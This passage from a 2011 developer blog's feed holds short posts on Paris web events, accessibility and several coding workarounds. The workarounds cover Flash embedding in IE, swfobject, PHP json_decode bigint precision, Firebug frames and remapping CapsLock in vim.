informal talks about Javascript, a few speakers will demo an app, a framework,
or talk about anything JS related. Very great to meet interesting JS fellows,
and exchange about frameworks and projects.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://parishackers.org/&quot;&gt;Paris Hacker&lt;/a&gt; is an other informal event, where
everyone is free to speak about any hacky/geeky subject. Most of the time we
review the last Hacker news posts and discuss them, talk about incoming events,
and so on. There almost no trolling. Most of the time.&lt;/p&gt;
&lt;p&gt;&lt;a href=&quot;http://js-attitude.fr/js-guru/&quot;&gt;JsGuru&lt;/a&gt; is a completly different kind of event.
This one is a one-day Javascript formation. It costs real money this time, but
you got to learn a few tricks and get your started on some frameworks and
libraries like Backbone, Mustache, Lawnchair, etc.&lt;/p&gt;
&lt;p&gt;And the final one is the &lt;a href=&quot;http://hackdayparis.org/&quot;&gt;Hack Day Paris&lt;/a&gt;. Partially
organized by the same team as Paris Hacker, it was a 40hrs hackathon, with no
constraint except to &amp;quot;build something brilliant&amp;quot;. More than 180 fellow geeks
attended, and 43 projects were finally demoed on stage. This was one of the most
motivating experience I ever did.&lt;/p&gt;
&lt;p&gt;A few days after the Hack Day, an other event was held by SFR were all the Hack
Day participants were invited. Along with participant from two other events
(Designer Weekend and Museomix), the goal was to help all those people to meet,
and to showcase some of SFR latest innovation. This is clearly the event that I
liked less.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Paris Web 2011: Accessibility</title>
    <link href="https://blog.pixelastic.com/2011/11/24/paris-web-2011-accessibility/"/>
    <updated>2011-11-24T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/11/24/paris-web-2011-accessibility</id>
    <content type="html">&lt;p&gt;In October, I was attending the Paris Web event. For those that haven&#39;t heard of
it, it is THE french web event, two days of conference on various subjects web
related. It is language agnostic and talks range a very broad list of topics
from accessibility, open data, security, performance, UX, UI, html5, etc.&lt;/p&gt;
&lt;p&gt;I&#39;ve attended 16 talks in the course of the event, plus a full day of workshops.
I would need far more than a single post to write down everything I learn from
those days, both technical and human. I really love Paris Web for those moments
where you start to chat with other peoples as passionate as you are.&lt;/p&gt;
&lt;p&gt;Here, I&#39;ll only focus on a specific subject that everyone cared about:
Accessibility.&lt;/p&gt;
&lt;h2&gt;Know your audience&lt;/h2&gt;
&lt;p&gt;Accessibility was discussed at length, as it always is the case in Paris Web. It
is one of the values held by Paris Web that I also hold dear. My only regret is
that it feels like everyone in Paris Web attendee were already familiar with it,
had implemented at least the basic good practices, that we all were already
convinced of why it is good. I kind of feel that were not the right public, that
the speech was wasted on us as we already were convinced.&lt;/p&gt;
&lt;p&gt;We, as web professional, are aware of the accessibility concerns. Big groups and
public websites are aware of it too. But the middle ground of small companies do
not care. &amp;quot;This is not our target&amp;quot;, &amp;quot;Spending 40% more for 10% of users? No
way&amp;quot;, &amp;quot;We are not big enough&amp;quot;, are answers I&#39;ve often heard when trying to
explain to clients why I cared about aspects of their projects they didn&#39;t even
see.&lt;/p&gt;
&lt;h2&gt;Continuous integration&lt;/h2&gt;
&lt;p&gt;Laurent Denis and Elie Sloïm told us that accessibility should not be thought as
the last part of a project, the one we do the day before launch. It has to be
taken into account for the very start of the project, in the conception phase,
and not at the end, as a correction phase.&lt;/p&gt;
&lt;p&gt;Every person ever included in the project should be at least aware of the
accessibility concern, this is not the work of one man alone. Accessibility
experts are not people you can hire to fix your website once it&#39;s done. They
should be requestd during all the conception phase.&lt;/p&gt;
&lt;p&gt;No one ever read the 100 page accessibility audit. No one wants to be told at
the end of the project that what they did is wrong and that they should start
everything over from scratch. Instead, mini briefs, on mini subjects, sometimes
no longer than 15mn, on a regular basis can yield very great results. Starting
with the general website semantic, adding unobstrusive javascript, and going
deeper and deeper into tasks more and more difficult.&lt;/p&gt;
&lt;p&gt;There is no perfection in accessibility. There&#39;s only an ideal we tend to. You
don&#39;t fix a website for accessibility, you just improve it.&lt;/p&gt;
&lt;h2&gt;Throw away formal accreditations&lt;/h2&gt;
&lt;p&gt;We can&#39;t make a website absolutly perfect, we can just improve it on little
touches to make it better and better. A, AA and AAA homologation is absurd,
because there is no metrics to quantify the level of accessibility of a website.
How could you compare two accessibility features? How video subtitles is more
accessible than alt on images? We should just forget the accreditations. At
first, we did accessibility improvement to help people with disabilities.
Somewhere along the years, we became legally forced to provide accessibility
measures and it became one more line on the planning and we lost the initial
meaning that was driving us.&lt;/p&gt;
&lt;p&gt;We should really take accessibility down that pedestal we put it. It&#39;s not that
hard to make an accessible website, don&#39;t be scared by the list of accreditation
and rules.&lt;/p&gt;
&lt;h2&gt;What about HTML5?&lt;/h2&gt;
&lt;p&gt;The geek side of your mind can&#39;t stop feeling the excitation when everyone talks
about all the shiny stuff: file API, history, geolocation, web sockets, forms,
etc. But the eternal question remains: what good are those new toys if we can
only serve them to a handful of users. Will I use them now, for the benefit of
only some, or will I wait for better support for the benefit of all ? But if I
don&#39;t promote them myself, I&#39;m only slowing down adoption by all browsers...&lt;/p&gt;
&lt;p&gt;That&#39;s a tricky question and I don&#39;t have a definite answer (and that&#39;s fine !).&lt;/p&gt;
&lt;p&gt;Paul Bakaus posted recently and article where he stated that it is better to
build something awesome for 70% of the people that something good for 95% of
them. It surely is true in the gaming world where gamers have the habit of
buying new hardware to keep with the new game graphics. In the classical web
world, we are still scared of asking the user to change its browser.&lt;/p&gt;
&lt;p&gt;But it tickles my accessibility sense when someone told me that a part of the
users won&#39;t be able to access the content because they don&#39;t have the correct
requirement. This feels absolutly contrary to the open web principles.&lt;/p&gt;
&lt;h2&gt;&lt;/h2&gt;
</content>
  </entry>
  <entry>
    <title>Getting list of Facebook friends from a test account</title>
    <link href="https://blog.pixelastic.com/2011/11/23/list-facebook-friends-test-account/"/>
    <updated>2011-11-23T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/11/23/list-facebook-friends-test-account</id>
    <content type="html">&lt;p&gt;To get the list of friends of a specific user, you are supposed to issue a
simple &lt;code&gt;GET&lt;/code&gt; request to &lt;code&gt;me/friends&lt;/code&gt; (or &lt;code&gt;USER_ID/friends&lt;/code&gt;), passing the user
accessToken in the request.&lt;/p&gt;
&lt;p&gt;Facebook used to return an array named &lt;code&gt;data&lt;/code&gt; where each value is an object
representing a friend. Each of this objects had two keys: &lt;code&gt;id&lt;/code&gt; and &lt;code&gt;name&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Until yesterday, it worked well.&lt;/p&gt;
&lt;p&gt;Today, it seems broken for test users. The &lt;code&gt;name&lt;/code&gt; key is no longer returned in
the call, you only get &lt;code&gt;id&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;I&#39;m not sure it&#39;s intentionnal or not. At least I haven&#39;t seen any notice about
this change. But I&#39;m not sure it&#39;s a bug either, as Facebook documentation is
crappy, we never really know if the output we got is the expected one or if it&#39;s
a bug.&lt;/p&gt;
&lt;p&gt;I&#39;m not even sure we were supposed to get the &lt;code&gt;name&lt;/code&gt; in the first place,
actually.&lt;/p&gt;
&lt;p&gt;What is definitely a bug is that the behavior is different for test users that
for classic users.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Passing flashVars with Flash 10 in IE</title>
    <link href="https://blog.pixelastic.com/2011/10/31/passing-flashvars-flash-10/"/>
    <updated>2011-10-31T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/31/passing-flashvars-flash-10</id>
    <content type="html">&lt;p&gt;I&#39;ve spent the last two days debugging a weird issue involving https, IE and
Flash.&lt;/p&gt;
&lt;p&gt;In the end, I boiled the issue down to IE and Flash 10, https wasn&#39;t involved
(in fact, that was a different issue).&lt;/p&gt;
&lt;h2&gt;Markup hell&lt;/h2&gt;
&lt;p&gt;It is known that to have a real crossbrowser markup to embed Flash we need an IE
specific version and a non-IE one.&lt;/p&gt;
&lt;p&gt;What I didn&#39;t know was that &lt;code&gt;flashvars&lt;/code&gt; needed to be passed in two different
formats between Flash player 10 and Flash player 11.&lt;/p&gt;
&lt;p&gt;11 expect the classic &lt;code&gt;flashvars&lt;/code&gt; parameter while 10 expect them to be passed as
simili GET parameters to the movie url.&lt;/p&gt;
&lt;h2&gt;Final HTML markup&lt;/h2&gt;
&lt;p&gt;In the end, here is the PHP code I use to generate my SWF markup:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;sprintf&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &#39;&amp;#x3C;object classid=&quot;clsid:D27CDB6E-AE6D-11cf-96B8-444553540000&quot; width=&quot;%1$s&quot; height=&quot;%2$s&quot; id=&quot;%3$s&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &amp;#x3C;param name=&quot;movie&quot; value=&quot;%4$s?%6$s&quot; /&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    %5$s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &amp;#x3C;!--[if !IE]&gt;--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;      &amp;#x3C;object type=&quot;application/x-shockwave-flash&quot; data=&quot;%4$s&quot; width=&quot;%1$s&quot; height=&quot;%2$s&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;      %5$s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &amp;#x3C;!--&amp;#x3C;![endif]--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    %7$s&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;    &amp;#x3C;!--[if !IE]&gt;--&gt;&amp;#x3C;/object&gt;&amp;#x3C;!--&amp;#x3C;![endif]--&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;  &amp;#x3C;/object&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;,&lt;/span&gt;&lt;/span&gt;
&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$width&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$height&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$id&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$url&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$params&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$flashVars&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$alternateContent&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Where:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;$width&lt;/code&gt; and &lt;code&gt;$height&lt;/code&gt; are the size (in pixel) of your movie&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$id&lt;/code&gt; is the html/css id of the main object element (as used in
&lt;code&gt;swfObject.getObjectById&lt;/code&gt;)&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$url&lt;/code&gt; is the url address of your swf file&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$params&lt;/code&gt; is a string containing all the &lt;code&gt;&amp;lt;param name=&amp;quot;name&amp;quot; value=&amp;quot;value&amp;quot; /&amp;gt;&lt;/code&gt;
that you want to pass. Usually it will contain the &lt;code&gt;wmode&lt;/code&gt;, &lt;code&gt;allowfullscreen&lt;/code&gt;,
&lt;code&gt;allowscriptaccess&lt;/code&gt; and &lt;code&gt;flashvars&lt;/code&gt; keys.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$flashVars&lt;/code&gt; is a duplicate of the &lt;code&gt;flashVars&lt;/code&gt; key of &lt;code&gt;$params&lt;/code&gt; and should
contain a string in the form &lt;code&gt;foo=bar&amp;amp;baz=nyan&lt;/code&gt; to be passed to the swf in
Flash 10&lt;/li&gt;
&lt;li&gt;&lt;code&gt;$alternateContent&lt;/code&gt; is the html text to be displayed when Flash is not
installed in the browse&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;I hope that this markup will help you, because I spent a damn long time testing
all that stuff, jungling between VM and IE instances.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title> swfobject.getObjectById() when flash not installed</title>
    <link href="https://blog.pixelastic.com/2011/10/28/swfobject-getobjectbyid-flash-installed/"/>
    <updated>2011-10-28T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/28/swfobject-getobjectbyid-flash-installed</id>
    <content type="html">&lt;p&gt;SWFObject is the de-facto library used whenever you need to ember Flash files in
your code. It takes care of smoothing all cross browser issues.&lt;/p&gt;
&lt;p&gt;It has a &lt;code&gt;getFlashPlayerVersion&lt;/code&gt; method that return a string of the current
version in the form &lt;code&gt;major.minor.release&lt;/code&gt;. Its value is &lt;code&gt;0.0.0&lt;/code&gt; if Flash isn&#39;t
installed.&lt;/p&gt;
&lt;p&gt;It also provides a cross browser markup, including conditionnal comments for IE,
that validate and works everywhere. The downside is that it forces you to create
two elements in your markup with the same id.&lt;/p&gt;
&lt;p&gt;Hopefully, the &lt;code&gt;getObjectById&lt;/code&gt; method is here to return the correct DOM element
based on the browser flash integration type.&lt;/p&gt;
&lt;p&gt;But... It seems that the mechanisme is buggy when Flash isn&#39;t installed (on 2.2)&lt;/p&gt;
&lt;p&gt;I&#39;ve tested running IE9 without Flash installed and FF8 with Flash disabled, and
the return of &lt;code&gt;getObjectById&lt;/code&gt; differs: I got &lt;code&gt;null&lt;/code&gt; in IE9 and the DOM element
in FF8.&lt;/p&gt;
&lt;p&gt;I&#39;ve added a small patch to my code to take it into account:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#F87171&quot;&gt;var&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; el&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; swfobject&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getObjectById&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt; ||&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt; document&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;getElementById&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;id&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;And I&#39;ve also submitted a [bug report](http://code.google.com/p/swfobject/issu
es/detail?id=599&amp;amp;thanks=599&amp;amp;ts=1319792868).&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Fix the floating issue with json_decode in PHP 5.3</title>
    <link href="https://blog.pixelastic.com/2011/10/12/fix-floating-issue-json-decode-php-5-3/"/>
    <updated>2011-10-12T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/12/fix-floating-issue-json-decode-php-5-3</id>
    <content type="html">&lt;p&gt;When dealing with online API that are handling a lot of items (like Twitter or
Facebook), you&#39;d better be aware of a PHP limitation with &lt;code&gt;json_decode&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;&lt;code&gt;json_decode&lt;/code&gt; is supposed to take a JSON string and return a PHP array or a PHP
object from it.&lt;/p&gt;
&lt;p&gt;Unfortunatly if one of the key is an int and is bigger than the max int value,
it will be cast as float instead. And you&#39;ll lose precision in the process.&lt;/p&gt;
&lt;p&gt;In my case it resulted in a complete unability to find a user in the database as
the id didn&#39;t match anything. This was quite hard to find as I couldn&#39;t
reproduce it on my local machine.&lt;/p&gt;
&lt;h2&gt;Know your system&lt;/h2&gt;
&lt;p&gt;My local system was a 64bits machine while the production servers were 32bits.
And of course, max int precision is far bigger on 64bits machines so the error
didn&#39;t pop in my tests.&lt;/p&gt;
&lt;p&gt;If you&#39;re running PHP 5.4, the fix is easy. Just add the &lt;code&gt;JSON_BIGINT_AS_STRING&lt;/code&gt;
bitmask as 4th option like this&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$decoded&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt; =&lt;/span&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt; json_decode&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;true&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;null&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#EA580C&quot;&gt;JSON_BIGINT_AS_STRING&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;);&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;If you&#39;re running a 32bits machine with PHP 5.3 like me, it&#39;s a little more
tricky.&lt;/p&gt;
&lt;h2&gt;The regexp&lt;/h2&gt;
&lt;p&gt;My solution is to parse the original JSON string and add quotes around ints so
&lt;code&gt;json_decode&lt;/code&gt; will keep them as string.&lt;/p&gt;
&lt;p&gt;My first attempt was naive&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;preg_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/&quot;:([0-9]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;),/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&quot;:$1,&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This will find any int between &lt;code&gt;&amp;quot;:&lt;/code&gt; (marking the end of a key) and &lt;code&gt;,&lt;/code&gt; (marking
the start of the next key), and replace it with the same string but enclosed in
quotes.&lt;/p&gt;
&lt;p&gt;I soon found out that this did not cover all the cases, especially if the int
key was the last of the JSON, it won&#39;t be followed by a &lt;code&gt;,&lt;/code&gt; but by a &lt;code&gt;}&lt;/code&gt;
instead.&lt;/p&gt;
&lt;p&gt;So, I adapted it a little bit:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;preg_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/&quot;:([0-9]&lt;/span&gt;&lt;span style=&quot;color:#38A169&quot;&gt;+&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;)(,|})/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&quot;:&quot;$1&quot;$2&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Ok, it worked better. Any int key in the JSON, anywhere will be enclosed in
quotes.&lt;/p&gt;
&lt;p&gt;It was a little overkill so I decided to limit it to keys of at least 10 digits&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;preg_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/&quot;:([0-9]{10,})(,|})/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;&quot;:&quot;$1&quot;$2&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Better. But still not perfect.&lt;/p&gt;
&lt;p&gt;As I soon discovered, sometimes Facebook returned JSON containing JSON itself
(in Request &lt;code&gt;data&lt;/code&gt; or Credit &lt;code&gt;order_info&lt;/code&gt; for example).&lt;/p&gt;
&lt;p&gt;The previous approach would add quotes around ints in JSON escaped string and
would thus corrupt the whole key.&lt;/p&gt;
&lt;p&gt;This time, I added a final touch. I only added quotes around int that were not
in an escaped JSON string themselves, by checking that the closing quote of the
key wasn&#39;t escaped.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-php&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;preg_replace&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;/([^&#92;&#92;&#92;])&quot;:([0-9]{10,})(,|})/&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;&#39;$1&quot;:&quot;$2&quot;$3&#39;&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;, &lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;$encoded&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Here it is, the final fix. I might have forgotten some corner cases, but at
least it works for my current application.&lt;/p&gt;
&lt;p&gt;Hope it helps!&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Accessing a frame with Firebug console</title>
    <link href="https://blog.pixelastic.com/2011/10/11/accessing-frame-firebug-console/"/>
    <updated>2011-10-11T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/11/accessing-frame-firebug-console</id>
    <content type="html">&lt;p&gt;If you want to access the Javascript console of an inner frame of a webpage,
know that you can &amp;quot;browse&amp;quot; through the window as you could browse through a file
system.&lt;/p&gt;
&lt;p&gt;For example, if you want Firebug to use the first frameof the page as its
current window object, just type the following code in Firebug console:&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-js&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D69E2E&quot;&gt;cd&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;window&lt;/span&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;.&lt;/span&gt;&lt;span style=&quot;color:#A78BFA&quot;&gt;frames&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;[&lt;/span&gt;&lt;span style=&quot;color:#3182CE&quot;&gt;0&lt;/span&gt;&lt;span style=&quot;color:#0F766E&quot;&gt;])&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;This proved immensely useful when debugging a Facebook application.&lt;/p&gt;
</content>
  </entry>
  <entry>
    <title>Toggling insert/normal mode in vim with CapsLock</title>
    <link href="https://blog.pixelastic.com/2011/10/09/toggling-insert-normal-mode-vim-capslock/"/>
    <updated>2011-10-09T00:00:00Z</updated>
    <id>https://blog.pixelastic.com/2011/10/09/toggling-insert-normal-mode-vim-capslock</id>
    <content type="html">&lt;p&gt;You know that CapsLock key on your keyboard? The sole usage of this key is to
SHOUT ON TEH INTERNETS§§§. I decided to disable it completly as I never use it
on purpose.&lt;/p&gt;
&lt;p&gt;I also wanted to use it in vim to toggle between normal and insert mode with one
key instead of the default &lt;code&gt;i&lt;/code&gt;/&lt;code&gt;Esc&lt;/code&gt;.&lt;/p&gt;
&lt;h2&gt;Disabling CapsLock&lt;/h2&gt;
&lt;p&gt;Disabling CapsLock is a fairly straightforward process. The xmodmap program is
responsible for binding keyboard events to your software and you can change the
default behavior by creating an &lt;code&gt;~/.Xmodmap&lt;/code&gt; file.&lt;/p&gt;
&lt;p&gt;Just put the following code in it and the pressing the CapsLock key will no
longer block your next keys in Caps.&lt;/p&gt;
&lt;pre class=&quot;shiki oroshi&quot; style=&quot;background-color:#0c0f15;color:#d1d5db&quot; tabindex=&quot;0&quot; wordDiffLines=&quot;&quot;&gt;&lt;code class=&quot;language-ini&quot;&gt;&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color:#D1D5DB&quot;&gt;clear Lock&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;h2&gt;Catching it in vim&lt;/h2&gt;
&lt;p&gt;Now, to get it in vim, you&#39;ll have a little more work to do. First, CapsLock is
not one of the default vim keycodes, so you won&#39;t be able to remap it to any
useful function. To use it in vim, we will hook it directly on xmodmap to
another key, one that is part of vim default keycodes.&lt;/p&gt;
&lt;p&gt;I choose the virtual F13 key. Your physical keyboard might only have F keys from
1 to 12, but the internal software seems to be able to react to 37 of them. So,
why not using them?&lt;/p&gt;
&lt;p&gt;In your &lt;code&gt;~/.Xmodmap&lt;/code&gt; file, this is as easy as adding the following line&lt;/p&gt;
